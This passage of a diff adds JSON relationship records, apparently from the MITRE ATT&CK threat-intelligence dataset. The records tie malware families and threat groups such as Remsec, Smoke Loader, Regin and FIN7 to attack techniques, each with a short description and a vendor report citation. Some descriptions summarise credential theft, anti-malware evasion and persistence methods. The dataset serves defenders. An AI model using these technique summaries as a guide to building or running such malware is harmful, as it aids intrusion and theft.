"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:26:58.718Z", + "type": "relationship", + "id": "relationship--37781434-3f1e-4f45-af34-b2378647c13a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can function as a proxy to create a serve that relays communication between the client and C&C server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90974f03-7f61-479e-bceb-6f26872d4812", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:29:22.853Z", + "type": "relationship", + "id": "relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) queries the registry to look for information about Terminal Services.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25d65c10-5fa3-40c1-9e25-936894446178", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.671Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a process list from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) modules are written in and executed via [PowerShell](https://attack.mitre.org/techniques/T1086).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7df8e8c-dfc4-48f2-bbd3-46b2572d60ca", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.232Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) harvests plain-text credentials as a password filter registered on domain controllers.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can delete files and itself after infection to avoid analysis.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa14a106-cc98-4a5f-b849-85a5491eea36", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used SQL, VBS and JavaScript scripts to help perform tasks on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78ef53a6-d137-4251-b683-993f77b4061c", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "modified": "2019-06-30T23:13:18.534Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on local user accounts from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e69a835-6443-455e-8ff0-775bb8c823f1", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:32.291Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. [BlackEnergy](https://attack.mitre.org/software/S0089) has searched for given file types.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.802Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the net user command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47a10b36-7f39-480c-8708-410eb3af46ca", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on process details.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.290Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) can perform DLL loading.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89", + "external_references": [ + { + "source_name": "TrendMicro Taidoor", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information the victim's anti-virus software.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) runs its core DLL file using rundll32.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) installs itself under Registry Run key to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional Jscript and VBScript code on the victim's machine.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) removes all files in the /tmp directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f8760c6-f11c-43f7-acf8-bc30a347518c", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.716Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to obtain a victim's system name and operating system version.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49af09c8-1460-485d-9f09-dacea47fa016", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a83182d2-b619-4ca4-984b-21ecfe43da26", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--048df7c4-96b0-4b76-9e21-f9ad70a2ce9b", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.129Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) identifies and kills anti-malware processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--babaa2be-7c41-490a-bd0b-2cf140858244", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.499Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about installed anti-virus software.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.599Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for files named logins.json to parse for credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e5b4489-d480-4f42-aadb-0eeb45ad6bc0", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.674Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[at](https://attack.mitre.org/software/S0110) can be used to schedule a task on a system.", + "type": "relationship", 